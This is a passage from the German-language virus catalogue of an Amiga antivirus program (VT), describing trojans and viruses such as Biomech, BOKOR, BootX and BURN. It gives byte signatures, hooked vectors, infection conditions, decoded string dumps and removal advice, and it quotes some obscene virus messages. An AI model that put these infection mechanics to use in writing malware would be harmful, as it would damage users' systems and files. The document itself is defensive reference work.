  2722.         Die fuenf Bytes : 00 02 E7 60 00
  2723.         68030: ja
  2724.         Bekannte Filenamen:
  2725.           - DayDream     129652 Bytes
  2726.           - Server        20880 Bytes
  2727.           - FixDiskv2.0   39156 Bytes
  2728.           - VirusZ V1.21  80268 Bytes
  2729.         Mit der 4Eb9-Methode wurden zwei Files zusammengelinkt.
  2730.         Laenge des gepackten Zerstoerungsteils: 3208 Bytes
  2731.         Alle Texte sind jetzt codiert.
  2732.         Ablauf:
  2733.          Im cli erfolgt zuerst die Ausgabe:
  2734.               ...  catch me if you can
  2735.                - b i o m e c h a n i c -
  2736.          Da MUSS jeder gewarnt sein. Fuehren Sie SOFORT eine Reset aus.
  2737.          Betroffene Verzeichnisse sys:c, sys:libs, sys:l, sys:devs
  2738.          und sys:prefs
  2739.          Die fuenf Bytes aendern sich : 00 02 E7 60 00
  2740.              File vorher:                 File nachher:  
  2741.              z.B. Addbuffers
  2742.           fe266034 220a7400 .&`4".t. : fe266034 0002e760 .&`4...`
  2743.           4eaefd24 2c004a86 N..$,.J. : 00aefd24 2c004a86 ...$,.J. 
  2744.              oder z.B. Dir
  2745.           0018082a 00060125 ...*...% : 0018082a 00060002 ...*....
  2746.           6600036a 7014b0aa f..jp... : e760006a 7014b0aa .`.jp...
  2747.          Auf das "veraenderte" Medium wird als leerer Dir-Name geschrie-
  2748.          ben:  biomechanic trashed your hd!!
  2749.     
  2750.   - Biomech-TypG-Trojaner
  2751.          Die fuenf Bytes : 000224fe00  
  2752.          68030: ja  (nocache)
  2753.          Filename: introvirus  (ja so habe ich ihn erhalten)
  2754.          Laenge:  4428 Bytes
  2755.          Laenge des gepackten Zerstoerungsteils: 3332 Bytes
  2756.          oder
  2757.          Filename: Ami-Hacker
  2758.          Laenge: 6940 Bytes
  2759.          Mit der 4Eb9-Methode wurden zwei Files zusammengelinkt.
  2760.          Ein Biomech (Laenge gepackt 3332 Bytes, entpackt 5412 Bytes) und
  2761.          ein Ami-Hacker). Ami-Hacker existiert seit langer Zeit auch
  2762.          als eigenstaendiges File. Siehe oben bei Ami-Hacker.
  2763.          oder
  2764.          Filename: Viruschecker V6.59  (gibt es noch gar nicht)
  2765.          Laenge: 55428 Bytes
  2766.          Laenge des gepackten Zerstoerungsteils: 4944 Bytes
  2767.          Mit der 4Eb9-Methode wurden zwei Files zusammengelinkt.
  2768.          Alle Texte sind jetzt codiert. 
  2769.         Ablauf:
  2770.          Im cli erfolgt zuerst die Ausgabe:
  2771.               ...  catch me if you can
  2772.                - b i o m e c h a n i c -
  2773.          Da MUSS jeder gewarnt sein. Fuehren Sie SOFORT eine Reset aus.
  2774.          Betroffene Verzeichnisse sys:c, sys:libs, sys:l, sys:devs
  2775.          und sys:prefs
  2776.          Die fuenf Bytes aendern sich bei mir : 00 02 24 FE 00
  2777.              File vorher:                 File nachher:  
  2778.              z.B. dir                     
  2779.           0018082a 00060125 ...*...% : 0018082a 00060002 ...*....
  2780.                                                     ^^^^
  2781.           6600036a 7014b0aa f..jp... : 24fe006a 7014b0aa $..jp...
  2782.                                        ^^^^^^                     
  2783.          Auf das "veraenderte" Medium wird als leerer Dir-Name geschrie-
  2784.          ben:  biomechanic trashed your hd!!
  2785.  
  2786.   - Biomech-TypH-Trojaner
  2787.          Die fuenf Bytes : 00 02 b9 b2 00
  2788.          Der Unterschied zu Typ A ist im Prg-Code zu gross, um das Teil
  2789.          dort einzuordnen
  2790.          A4000: ja
  2791.          Filename: ORB95
  2792.          Laenge  : 3176 Bytes
  2793.          KEINE verbogenen Vektoren
  2794.          KEINE Vermehrung
  2795.          VT erkennt NUR das Ausloeserfile !!
  2796.          Warum ich das File ORB95 freiwillig starten sollte:
  2797.          Keine Ahnung (das File besteht nur aus dem Zerstoerungsteil)
  2798.          Im File ist zu lesen:
  2799.             4e5d4e75 b9b20073 79733a70 72656673 N]Nu...sys:prefs
  2800.             2f007379 733a6465 76732f00 7379733a /.sys:devs/.sys:
  2801.             6c2f0073 79733a63 2f007379 733a6c69 l/.sys:c/.sys:li
  2802.             62732f00 4f524239 350a0000          bs/.ORB95..
  2803.          Der Text ORB95 wird im cli ausgegeben und duerfte der Taeuschung
  2804.          dienen. In Wirklichkeit werden die Unterverzeichnisse von sys:
  2805.          prefs, devs, l, c und libs durchsucht. 
  2806.              File vorher:                 File nachher:
  2807.             printer.device
  2808.             4eb90000 08582200 N....X". : 4eb90000 08582200 N....X".
  2809.             508f6608 4eb90000 P.f.N... : 0002b9b2 00b90000 ........
  2810.             ^^^^^^^^ ^^                  ^^^^^^^^ ^^
  2811.          Es werden also immer 5 Bytes geschrieben = 00 02 b9 b2 00 .
  2812.          Ein System dabei habe ich nicht gefunden. Die Files sind leider
  2813.          NICHT mehr zu retten.
  2814.          VT erkennt veraenderte Files NICHT, da mir die Gefahr der Fehl-
  2815.          erkennung bei nur fuenf Bytes zu gross ist. Falls Sie Bedenken
  2816.          in Ihrem System haben, weil auf Ihrer Festplatte das Ausloeser-
  2817.          file war, dann probieren Sie einen Filemonitor (z.B. hex).
  2818.          Geben Sie im Suchstring $0002b9b2 ein und untersuchen Sie in den
  2819.          bestimmten Unterverzeichnissen die Files. Es geht schnell. Ich
  2820.          habs mit dem c-Verzeichnis probiert.
  2821.  
  2822.    - BLACK KNIGHT Virus   BB  im Speicher immer ab $7F300
  2823.          Cool $7F394, DoIo $7F3BC  KS2.04: ja
  2824.          Fordert trackdisk.device NICHT
  2825.          Namensbegruendung: decodiert ist im BB zu lesen
  2826.                BLACK KNIGHT (12/11/91)
  2827.          Virus meldet sich nicht.
  2828.  
  2829.    - BLACKFLASH V2.0     Cool, DoIo, FastMem ja
  2830.          im Speicher immer ab $7F000
  2831.          Zaehlzelle = $13  Textausgabe mit Graphikroutine (s.u.)
  2832.          Schrift rot, Hintergrund schwarz
  2833.          Vermehrung: ueber BB
  2834.          Text steht unverschluesselt im BB:
  2835.          HELLO, I AM AMIGA !
  2836.            PLEASE HELP ME !
  2837.          I FEEL STICK !
  2838.          I HAVE A VIRUS !
  2839.          ! BY BLACKFLASH !
  2840.  
  2841.    - BlackStar       anderer Name: Starfire1/NorthStar1  siehe dort
  2842.  
  2843.    - Blade Runners   SCA-Clone, immer ab 7EC00, Cool, im Prg. DoIo
  2844.          Text: Hello! We are the Blade Runners!     u.s.w.
  2845.  
  2846.    - BLF-Virus  immer ab $7F000, Cool, DoIo, BeginIo
  2847.          loescht KickTag usw.
  2848.          Virusprogramm meldet sich NICHT.
  2849.          Programmteil decodiert mit    eori.b #$28,(a1)+
  2850.             u.a. zu lesen:    This is the new virus by BLF
  2851.          Schaden und Vermehrung: BB
  2852.  
  2853.    - Blieb6-BBS-Trojan
  2854.          Laenge: 7612 Bytes
  2855.          KEINE verbogenen Vektoren
  2856.          KEINE Vermehrung
  2857.          Name von Filenamen (blieb6.exe) uebernommen.
  2858.          Gegen welches BBS-Prg. ist mir unbekannt.
  2859.          Vor ein gepacktes Original-File wurden einige Dos-Routinen ge-
  2860.          haengt.
  2861.              00006468 303a6262 732f636f 6e666967 ..dh0:bbs/config
  2862.              31006468 313a6262 732f636f 6e666967 1.dh1:bbs/config
  2863.              3100223c 0000                       1..
  2864.          Nach diesen Files wird gesucht. Falls sie gefunden werden, wird
  2865.          ein GEAENDERTER Inhalt mit der Laenge #1972 Bytes zurueckge-
  2866.          schrieben.
  2867.          Im gepackten Teil koennen Sie nach dem Entpacken Lesen z.B.:
  2868.              20426c69 65622056 352e3020 20282d3a  Blieb V5.0  (-:
  2869.              426c7565 20426f78 2050726f 3a2d2920 Blue Box Pro:-)
  2870.              62792021 202d4d2d 442d442d 20212050 by ! -M-D-D- ! P
  2871.          Vielleicht hilft Ihnen das weiter.
  2872.          VT bietet nur Loeschen an.
  2873.  
  2874.    - BlowJob   KickTag, KickCheckSum, im Prg. DoIo u. $6c, immer $7f000
  2875.          Taeuscht durch Text Memory Allocator 3.01 vor
  2876.          Vermehrung und Schaden: Bootblock
  2877.          Sobald die Zaehlzelle den Wert $7530 erreicht hat, wird ein
  2878.          Programmteil mit subi.b #$71,D0 entschluesselt und mit display-
  2879.          Alert der Text ausgegeben:
  2880.             ONCE AGAIN SOMETHING WONDERFULL HAPPENED  (HE HE HE)
  2881.            PLEASE POWER OFF - PLEASE POWER OFF - PLEASE POWER OFF
  2882.  
  2883.    - BlueBox  Filevirus, keine bekannten Vectoren werden verbogen
  2884.          Laenge (gecrunched) 5608, nur Kreset (tut mit leid)
  2885.          gedacht fuer Modembesitzer und Mailboxbetreiber, aber KEINE
  2886.          Voraussetzung fuer Vermehrung (enthaelt Source fuer seriellen
  2887.          Port $DFF030, $DFF018 ???!!!??? behindert Verbindung?!?!)
  2888.          Das gecrunchte Prg. (Bluebox) besteht aus 3 Teilen:
  2889.          - ein Taeuschprogramm: ermoeglicht Tonfolge mit Zehnertastatur
  2890.          - eine komplette icon.library
  2891.             - Laenge:6680
  2892.             - zusaetzlicher Text: input.device , RAM:
  2893.             - andere Jahreszahl
  2894.          - ein Kopierteil fuer falsche icon.library
  2895.             - testet ob icon.library schon existiert, falls nein
  2896.               KEINE Aenderung
  2897.             - testet ob Disk validated
  2898.             - setzt Protection-Bits zurueck
  2899.             - kopiert falsche icon.library
  2900.             - arbeitet auch mit HD !!!!!!
  2901.          Nach einem Reset wird ueber icon.library ein Process
  2902.          'input.device ' (mit Leerzeichen) gestartet. VT findet
  2903.          diesen Process, kann ihn aber nicht beenden (KReset).
  2904.          Erstellt auf RAM: ein unsichtbares ($A0) File (nicht immer).
  2905.          Ausbauhinweise:
  2906.          VT erkennt den VirusTraeger Bluebox nur als crunched !!
  2907.          Ignorieren Sie das Kreset-Angebot und loeschen Sie zuerst
  2908.          die falsche icon.library. Kopieren Sie dann die Original-
  2909.          icon.library auf die Disk oder HD (sonst nach Reset keine
  2910.          WB!!!). Zum Schluss starten Sie bitte das Kreset-Prg.
  2911.          Meine Maschine verhielt sich danach wieder normal. Dies
  2912.          kann bei Modemprg. oder MailboxPrg. anders sein ??? Probleme
  2913.          bitte melden. Danke
  2914.          Herkunft: Bluebox.lzh        23033 Bytes
  2915.                   -Bluebox            5608    (noch einmal gecrunched)
  2916.                   -Bluebox.info       325
  2917.                   -Bluebox.DOC        37271
  2918.                   -Bluebox.DOC.info   354
  2919.  
  2920.    - bnuke15-Virus    BBS-Bomb   siehe unten bei scan.x
  2921.  
  2922.    - Bobble-Signum-Virus    File
  2923.          siehe unten bei GENERALHUNTER
  2924.  
  2925.    - BOKOR-Virus    Link
  2926.        Fileverlaengerung: variabel #1304-1332 Bytes
  2927.        Verbogener Vektor: LoadSeg
  2928.        Namensbegruendung: s.u.
  2929.        KS1.3: nein
  2930.        68000: nein
  2931.        Die Codierung ist bei jeder Vermehrung neu mit EOR .
  2932.        Verwendet werden: $DFF006 und $DFF007
  2933.        Namensbegruendung:
  2934.        Im decodierten Virusteil ist zu lesen:
  2935.           00144eae ffdc60ea 69627261 49425241 ..N...`.ibraIBRA
  2936.           65766963 45564943 646c6572 444c4552 evicEVICdlerDLER
  2937.           69727573 49525553 72696e74 52494e54 irusIRUSrintRINT
  2938.             ;....
  2939.           da142807 91c22248 000000b1 424f4b4f ..(..."H....BOKO
  2940.           52204953 48455245 323c0136 41fafee6 R ISHERE2<.6A...
  2941.        Speichereinbindung:
  2942.        Ueber LoadSeg
  2943.        Link an ein File:
  2944.        Medium nicht schreibgeschuetzt
  2945.        File ausfuehrbar (3F3)
  2946.        1.Hunklaenge ungleich 4x($13D bis $145)  (Virus selbst)
  2947.        Filelaenge max. #300000 Bytes
  2948.        Teile von Filenamen s.o. (wg. libs) werden nicht gefunden.
  2949.        Das Teil linkt sich als neuer 1.Hunk vor den Original-1.Hunk.
  2950.        Es wird auch ein 3EC-Hunk erzeugt.
  2951.        VT versucht das Teil auszubauen. 
  2952.        VT sollte das Teil im Speicher finden und abschalten.
  2953.  
  2954.    - BOKOR1.05-Virus    Link
  2955.        Fileverlaengerung: variabel #1504-1532 Bytes
  2956.        Das Teil codiert sich bei der Vermehrung neu mit EOR oder ADD .
  2957.        Aber es koennen auch uncodierte Linkteile entstehen.
  2958.        Verwendet werden: $DFF006, $DFF007 und $DFF02A
  2959.        Verbogener Vektor: LoadSeg
  2960.        Namensbegruendung: s.u.
  2961.        KS1.3: nein
  2962.        68000: nein
  2963.        Namensbegruendung:
  2964.        Im decodierten Virusteil ist zu lesen:
  2965.           ffdc60ea 646c6572 444c4552 69727573 ..`.dlerDLERirus
  2966.           49525553 64657673 44455653 44657673 IRUSdevsDEVSDevs
  2967.           72747570 52545550 646f732e 6c696272 rtupRTUPdos.libr
  2968.             ;.....
  2969.           000000af 424f4b4f 52205631 2e303521 ....BOKOR V1.05!
  2970.        Speichereinbindung:
  2971.        Ueber LoadSeg
  2972.        Link an ein File:
  2973.        File ausfuehrbar (3F3)
  2974.        1.Hunklaenge ungleich 4x($16F bis $177)  (Virus selbst)
  2975.        Filelaenge min. #1400 Bytes
  2976.        Filelaenge max. #256000 Bytes
  2977.        Teile von Filenamen s.o. (z.B. irus) werden nicht gefunden.
  2978.        Filename enthaelt nicht "."  (Ausnahme .exe und .EXE)
  2979.        Falls der Filename ein Leerzeichen ($20) enthaelt, wird der
  2980.        Filename gekuerzt. (Sie muessen dann also nach dem Ausbau den
  2981.        Original-Filenamen erraten. Tut mir leid. Keine andere
  2982.        Loesung moeglich).
  2983.        Das Teil linkt sich als neuer 1.Hunk vor den Original-1.Hunk.
  2984.        Es wird auch ein 3EC-Hunk erzeugt.
  2985.        Schaden:
  2986.        Manchmal werden sinnlose File- und Dir-Namen angezeigt.
  2987.        VT versucht das Teil auszubauen. 
  2988.        VT sollte das Teil im Speicher finden und abschalten.
  2989.  
  2990.    - BOKOR1.06-Virus    Link
  2991.        Namensbegruendung:
  2992.        Im decodierten Virusteil ist zu lesen: 
  2993.           4a812448 000000b9 424f4b4f 52205631 J.$H....BOKOR V1
  2994.           2e303621                            .06!
  2995.        Die LoadSeg-Routine wurde etwas veraendert. Rest siehe bei
  2996.        BOKOR1.05 .
  2997.        VT erkennt im Speicher BOKOR 1.06
  2998.        VT erkennt am File BOKOR 1.05 (kein wichtiger Unterschied)
  2999.  
  3000.  
  3001.    - Bokor1.1-LVirus    Link
  3002.        Fileverlaengerung: variabel Typ A #1604-1732 Bytes
  3003.                                    Typ B #1636-1764 Bytes
  3004.        Das Teil codiert sich bei der Vermehrung neu mit EOR oder ADD .
  3005.        Aber es koennen auch uncodierte Linkteile entstehen.
  3006.        Verwendet werden: $DFF006, $DFF007
  3007.        Verbogener Vektor: LoadSeg
  3008.        Namensbegruendung: s.u.
  3009.        KS1.3: nein
  3010.        68000: nein
  3011.        Namensbegruendung:
  3012.        Im decodierten Virusteil ist zu lesen:
  3013.           ffdc60ea 646c6572 72747570 49525553 ..`.dlerrtupIRUS
  3014.           64657673 444c4552 44657673 56697275 devsDLERDevsViru
  3015.           44455653 52545550 646f732e 6c696272 DEVSRTUPdos.libr
  3016.           61727900 0020f0ac 00272ed8 54727573 ary.. ...'..Trus
  3017.           744e6f46 696c6521 35880027 34340003 tNoFile!5..'44..
  3018.           4c6f6361 6c65204c 69627261 7279004c Locale Library.L
  3019.           b2804a82 4a80b7c0 70007800 4a812048 ..J.J...p.x.J. H
  3020.           000000b1 426f6b6f 72205631 2e312121 ....Bokor V1.1!!
  3021.        Speichereinbindung:
  3022.        Ueber LoadSeg
  3023.        Link an ein File:
  3024.        File ausfuehrbar (3F3)
  3025.        1.Hunklaenge ungleich Typ A 4x($188 bis $1a8)  (Virus selbst)
  3026.                              Typ B 4x($190 bis $1b0)
  3027.        Filelaenge min. #1400 Bytes 
  3028.        Filelaenge max. #256000 Bytes
  3029.        Teile von Filenamen s.o. (z.B. IRUS) werden nicht gefunden.
  3030.        Filename enthaelt nicht "." (Ausnahme .exe und .EXE)
  3031.        Falls der Filename ein Leerzeichen ($20) enthaelt, wird der
  3032.        Filename gekuerzt. (Sie muessen dann also nach dem Ausbau den
  3033.        Original-Filenamen erraten. Tut mir leid. Keine andere
  3034.        Loesung moeglich).
  3035.        Das Teil linkt sich als neuer 1.Hunk vor den Original-1.Hunk.
  3036.        Es wird auch ein 3EC-Hunk erzeugt.
  3037.        VT versucht das Teil auszubauen. 
  3038.        VT sollte das Teil im Speicher finden und abschalten.
  3039.        Falls Ihre Festplatte sehr stark verseucht ist, sollten Sie mit
  3040.        Sp-File-Sp-Gadget und DirFTest jedes Unterverzeichnis einzeln
  3041.        bearbeiten.
  3042.  
  3043.    - BOMB-Bootblock   es wird dieser Bootblock als Virus weiterge-
  3044.          geben. Die Pruefsumme ist als BOMB lesbar. Es wird nachge-
  3045.          laden von einem hohen Track (habe nur BB). in diesem Track
  3046.          koennten natuerlich VirenRoutinen stehen, aber es kann
  3047.          genausogut ein BB-Lader sein. Bitte schicken Sie mir eine
  3048.          funktionsfaehige Disk mit diesem hohen Track. Danke
  3049.          Nachtrag Dez. 94: Es handelt sich um einen Introlader fuer
  3050.          ein Spiel. Dieser BB darf NICHT geloescht werden, sonst laeuft
  3051.          das Spiel NICHT mehr. AUCH der BB auf der Data-Disk darf NICHT
  3052.          veraendert werden.
  3053.  
  3054.    - boot-aids Virus  BB
  3055.          KS2.04: nein
  3056.          Namensbegruendung: im BB ist uncodiert zu lesen:
  3057.                boot-aids by hiv
  3058.          verbogene Vektoren: BeginIo, KickTag, KickCheckSum, SumKick-
  3059.            Data
  3060.          Der Speicherbereich fuer das Virusteil wird mit $DFF007 be-
  3061.          stimmt.
  3062.          Schaeden: In Abhaengigkeit von $DFF006 soll ein Block mit
  3063.          HIV gefuellt werden.
  3064.          Vermehrung: BB
  3065.          Ihnen kommt das bekannt vor ? Erinnert irgendwie an Lamer !
  3066.          Selbst die Endekennung $abcd ist vorhanden.
  3067.          Gewisse Schreibprobleme sollte man uebersehen im BB:
  3068.          guradians
  3069.            ^^
  3070.          Clone: STARCOM 5  siehe unten
  3071.  
  3072.    - Bootblock-Paralysator  File   BB-exe-Laenge: 1444
  3073.          Ein Utility-Prg. zum Abspeichern eines BBs als aus-
  3074.          fuehrbares File.
  3075.  
  3076.    - BootClock    BB und File  Loeschen
  3077.          Von der Absicht KEIN Virus
  3078.          A2000 ja
  3079.          A4000 keine Anzeige
  3080.          Dunkler Hintergrund, helle Schrift zeigt Datum und Uhr-
  3081.          zeit.
  3082.          Es gibt einen aktiven und inaktiven Bootblock erstell-
  3083.          bar mit +b oder -b . Der inaktive BB wird als DOS0-BB
  3084.          erkannt, da an $c nicht $4e716150 $43fa003e (=Original)
  3085.          steht.
  3086.          Klingt harmlos, ABER
  3087.          Cool, ExecVec5 und DoIo (nur im Prg) werden verbogen.
  3088.          OHNE Rueckfrage wird der BB geschrieben !!!!
  3089.          Das ist mir zu gefaehrlich, dass jemand einen Spielelader-
  3090.          BB gegen seinen Willen zerstoert.
  3091.          Dringende Empfehlung: Loeschen
  3092.  
  3093.    - BootController  File   BB-exe-Laenge: 1160 (V2.35) oder 1176 (V1)
  3094.          Ein Utility-Prg. zum Abspeichern eines BBs als aus-
  3095.          fuehrbares File.
  3096.  
  3097.    - BOOTJOB  File    BB-exe-Laenge:1356
  3098.          Namensbegruendung: s.u.
  3099.                                       23c0003c ,y......N...#..<
  3100.                                           ^^^^
  3101.            e3b4                           237c ..C...N...C...#.
  3102.            ^^^^
  3103.            003ce3a4
  3104.            ^^^^^^^^
  3105.            45442057 49544820 424f4f54 4a4f4220 ED WITH BOOTJOB
  3106.            56312e30 30205752 49545445 4e204259 V1.00 WRITTEN BY
  3107.  
  3108.          Ein Utility-Prg. zum Abspeichern eines BBs als aus-
  3109.          fuehrbares File. Bei Filetest und BlockKette wird
  3110.          BootJob erkannt. Wenn Sie wissen wollen, um welchen BB
  3111.          es sich handelt, gehen Sie bitte in den File-Req.,
  3112.          klicken das File an und klicken dann auf Filetest.
  3113.          Es werden 2 absolute Adressen verwendet (^^^). Was
  3114.          macht der User, der dort keinen Speicher hat ?
  3115.          Empfehlung: Loeschen
  3116.  
  3117.    - BOOTJOB V1.3 File    BB-exe-Laenge:1356
  3118.          Fehler mit absoluten Adressen behoben.
  3119.  
  3120.  
  3121.    - Bootshop  siehe VTkennt L-Z  schaedliche Programme (ganz unten)
  3122.  
  3123.    - BootUte  File   BB-exe-Laenge: 1220 oder 1052
  3124.          Ein Utility-Prg. zum Abspeichern eines BBs als aus-
  3125.          fuehrbares File.
  3126.  
  3127.  
  3128.    - BOOTX-Virus  BB   KickTag, KickCheckSum  auch KS2.04
  3129.          anderer Name: PERVERSE I
  3130.          Taeuschungsversuch durch lesbaren Text in BB:
  3131.             BOOTX-Viruskiller by P.Stuer
  3132.          verraet sich bei mir bei gesetztem Schreibschutz durch
  3133.          Systemrequest  read/write error
  3134.          Vermehrung: BB
  3135.          Schaeden:
  3136.          faengt ueber input.device Tastatureingaben ab und gibt Text
  3137.          aus. Der Text steht als RAW-Code im BB (amerik.Tastatur !!)
  3138.  
  3139.          SOFTWARE_PIRATES RUINED MY EXCELLENT PROFESSIONAL DTP_PROGRAM
  3140.          I REVENGE MYSELF ON THESE IDIOTS BY PROGRAMMING VIRUSES
  3141.          THIS IS PERVERSE I  BECAUSE I LIKE ASSHOLE_FUCKING
  3142.          I PROGRAM VIRUSES FOR MS_DOS TOO
  3143.  
  3144.          Eine Weiterarbeit ist NICHT moeglich. Das Virusprogramm
  3145.          muss geloescht werden.
  3146.  
  3147.  
  3148.    - BootXKiller-Virus  BB
  3149.          Im Speicher immer ab $7FC00
  3150.          Verbogene Vektoren: Cool, DoIo, OldOpenLib, WaitPort,
  3151.                              DisplayAlert, SetMenuStrip
  3152.          KS 2.04: ja  68030: ja
  3153.          Fordert trackdisk.device nicht.
  3154.          Schreibt unabhaengig von der BB-Kennung (DOS0/1/2/3/4/5)
  3155.          IMMER DOS0. Folge: bei falscher Kennung kommt es zu Lese-
  3156.          oder Schreibfehler.
  3157.          Namensbegruendung:
  3158.          Im BB ist zu lesen:
  3159.             20766972 7573202d 20426f6f 7458204b  virus - BootX K
  3160.             696c6c65 72000100 80164675 636b2074 iller.....Fuck t
  3161.             6f20616c 6c202849 2964696f 74696320 o all (I)diotic
  3162.          Vermehrung: BB
  3163.          Meldung: (manchmal mit DisplayAlert)
  3164.                    This is Virus - BootX Killer
  3165.           Fuck to all (I)diotic (B)ullshit (M)aschine users
  3166.            Send bug reports to: Mr. Larmer of Wanted Team
  3167.                                Poland
  3168.          Schaeden:
  3169.          - Ersetzt Text in der Menue-Leiste von BootX durch BootXKiller.
  3170.          - Menue-Fenster enthaelt nur noch Quit
  3171.          - Verhindert bei BootX die Anzeige des BB.s
  3172.            Dafuer wird 2 Bloecke lang ausgegeben:
  3173.               BootXKiller BootXKiller BootXKiller usw.
  3174.          Wichtiger Hinweis:
  3175.          DisplayAlert und SetMenuStrip werden ueber OldOpenLib veraendert.
  3176.          Ablauf:
  3177.          Es wird geprueft ob intuition.library geoeffnet werden soll. Dann
  3178.          werden die zwei Vektoren verbogen.
  3179.          Aber !!!!
  3180.          Es wird dabei auf zwei Buchstaben "in" geprueft !!!!!!
  3181.          Also werden bei JEDER Library, die mit "in" beginnt, zwei Vektoren
  3182.          verbogen. Der GURU ist Ihnen dann sicher.
  3183.  
  3184.  
  3185.  
  3186.    - BRET HAWNES    Filevirus  Laenge: 2608 , immer ab $7F000
  3187.           Kicktag, SumKickData, KickCheckSum, OpenNewLib, $6c
  3188.           Vermehrung und Schaden:
  3189.           schreibt in Root und in 1.Zeile startup: C0A0E0A0C0
  3190.  
  3191.           nach 20 Minuten blauer Graphikbildschirm und weisse Schrift:
  3192.  
  3193.             GUESS WHO`S BACK ??? VEP. BRET HAWNES BLOPS YOUR SCREEN
  3194.                  I`VE TAKEN THE CONTROLL OVER YOUR AMIGA!!!
  3195.              THERE`S ONLY ONE CURE: POWER OFF AND REBOOT ! ! ! ! !
  3196.  
  3197.           Statt der 10. Vermehrung werden Tracks zerstoert.
  3198.  
  3199.    - Hinweis 01.08.93: Es ist ein Clone aufgetaucht, bei dem nur der
  3200.          lesbare Text (nicht der codierte) geaendert wurde.
  3201.          Wird weiterhin nur als Bret-Virus erkannt.
  3202.          KS2.04 : ja
  3203.          Laenge: 2600  also 8 Bytes kuerzer als Original, weil
  3204.            03EC-Hunk entfernt wurde. Vermehrt sich das Teil,
  3205.            so ist die Laenge wieder 2608, da der 03EC-Hunk vom
  3206.            Virus angelegt wird.
  3207.          Am Fileanfang:
  3208.            0000027D 60000018 53544152 4C494748 ...}`...STARLIGH
  3209.            54203120 50524F44 55435449 4F4E2C79 T 1 PRODUCTION,y
  3210.          Am Fileende:
  3211.            F9526100 FED66000 FA02444F 20594F55          .DO YOU
  3212.            204C494B 45204D59 20464952 53542056  LIKE MY FIRST V
  3213.            49525553 203F2044 4F4E4520 4259204D IRUS ? DONE BY M
  3214.            43444A2D 4444454E 49545921 20323130 CDJ-DDENITY! 210
  3215.            32393000 00000000 000003F2 000003EB 290....
  3216.          Wird vielleicht von anderen AntivirusPrg als Starlight
  3217.          - Virus erkannt. VT bleibt bei BRET HAWNES.
  3218.  
  3219.  
  3220.    - BS1! (noch ein SCA )
  3221.  
  3222.    - BULGARIA Virus  File  BYTEPARASITE III - Clone  s.u.
  3223.  
  3224.    - Bulletin-Trojan   Zerstoerungsfile
  3225.          Trojan-Name von Filename uebernommen (wird wahrscheinlich als
  3226.          Demo weitergegeben)
  3227.          Laenge: 77740 Bytes
  3228.          KEINE verbogenen Vektoren
  3229.          Kann sich selbst NICHT vermehren.
  3230.          Mehrfach gepackt.
  3231.          Am Anfang wurde ein 3E8-Hunk (*Art) gelinkt, um die Packerer-
  3232.          kennung zu erschweren.
  3233.          Im File wird mit der 4EB9-4EF9-Methode gearbeitet.
  3234.          Im entpackten File ist zu lesen:
  3235.            62726172 7900533a 00496e73 70656374 brary.S:.Inspect
  3236.            6f722058 206f6620 412e4c2e 46ff0000 or X of A.L.F...
  3237.          Schaeden:
  3238.          In S: werden alle Files geoeffnet und veraendert.
  3239.          Shell-Startup vorher:
  3240.            ; $VER: Shell-Startup 40.1 (9.2.93)
  3241.            Prompt "%N.%S> "
  3242.               ;......
  3243.          Shell-Startup nachher:
  3244.            Inspector X of A.L.Fp 40.1 (9.2.93)
  3245.            Prompt "%N.%S> "
  3246.               ;......
  3247.          Es wird die Originallaenge zurueckgeschrieben.
  3248.          Auch Icons und ausfuehrbare Files werden veraendert.
  3249.          Eine Routine um das Schreibschutz-Bit zu veraendern, wurde
  3250.          NICHT gefunden.
  3251.          Eigentlich sollten noch mehr Unterverzeichnisse veraendert
  3252.          werden. Durch einen Programmierfehler ist das zum Glueck bei
  3253.          meinen Tests nicht gelungen. (2 Bytes verschoben)
  3254.            62726172 79006262 733a0049 6e737065 brary.bbs:.Inspe
  3255.            63746f72 2058206f 6620412e 4c2e4620 ctor X of A.L.F
  3256.            2d20414c 69454e20 4c696645 20664f52 - ALiEN LifE fOR
  3257.            4dff0000 00000000 00000000 00000000 M...............
  3258.              ;....
  3259.            62726172 7900433a 00496e73 70656374 brary.C:.Inspect
  3260.              ;....
  3261.            62726172 79004445 56533a00 496e7370 brary.DEVS:.Insp
  3262.              ;....
  3263.            62726172 79004c49 42533a00 496e7370 brary.LIBS:.Insp
  3264.              ;....
  3265.            62726172 79006262 733a6e6f 6465312f brary.bbs:node1/
  3266.              ;....
  3267.            62726172 79005359 533a0049 6e737065 brary.SYS:.Inspe
  3268.          Der zu schreibende Text (ALieN..) waere also etwas laenger
  3269.          geworden.
  3270.  
  3271.  
  3272.    - BURN-Virus  Typ 1  Link und Zerstoerung
  3273.          Keine staendig verbogenen Vektoren (manchmal Dos-Write)
  3274.          Lauffaehigkeit getestet: KS1.3, KS2.04, KS3.0
  3275.          Verlaengert ein File um 2412 Bytes.
  3276.          Haengt 2 Hunks an. Einen Hunk zu Beginn des Original-Files und
  3277.          einen an das Ende (das ist neu !!!).
  3278.          Kann vorhandenen $3F1-Hunk am Anfang des Original-Files ueber-
  3279.          springen.
  3280.          Baut eigenen Process auf. Ein Name fuer den Process wird in der
  3281.          TaskWait-Liste gesucht. Damit nicht immer derselbe Processname
  3282.          Verwendung findet, wird die max. Laenge der  Suchschleife mit
  3283.          - move.b $BFE801,d0 - festgelegt.
  3284.          Falls Sie also in VT/Listen/tasks ploetzlich z.B. 2x ramlib oder
  3285.          3x Snoopdos ( im Test passiert ) finden, dann sollten
  3286.          bei Ihnen SOFORT die Alarmglocken klingeln. Diese Routine ist
  3287.          EBENFALLS NEU.
  3288.          VT versucht den Process im Speicher zu finden und bietet dann
  3289.          loeschen an (hoffe ich). Da ich nicht gerne Processe abschalte,
  3290.          (GURU-Gefahr), waere ein RESET auch nicht schlecht.
  3291.          Die Arbeit des Processes wird etwas gebremst durch
  3292.          ein DosDelay in Abhaengigkeit von  - move.b $BFE601,d1 - .
  3293.          Enthaelt eine Datumsroutine:
  3294.               cmpi.l #$16f9,(a5)    = 7.Feb.1994
  3295.          Wenn dieses Datum ueberschritten ist, soll IMMER zerstoert werden.
  3296.          Ist dieses Datum noch nicht erreicht, so soll zuerst ein Link
  3297.          versucht werden. (DosLock, examine, exnext usw.). Wenn Link miss-
  3298.          lungen dann auch Zerstoerung.
  3299.          Ich habe mehrere Stunden auf verschiedenen Rechnern "geuebt". Es
  3300.          ist mir KEINE Vermehrung gelungen. Falls jemand mehr "Glueck" hat,
  3301.          bitte ich um Zusendung einiger Files. Danke !!
  3302.          Die Link-Routine kennt zuwenig Hunk-Typen. Falls eine Vermehrung
  3303.          wirklich gelingt, duerften haeufig NICHT LAUFFAEHIGE Programme
  3304.          entstehen. Ob VT diese Files durch Ausbau wieder in den Original-
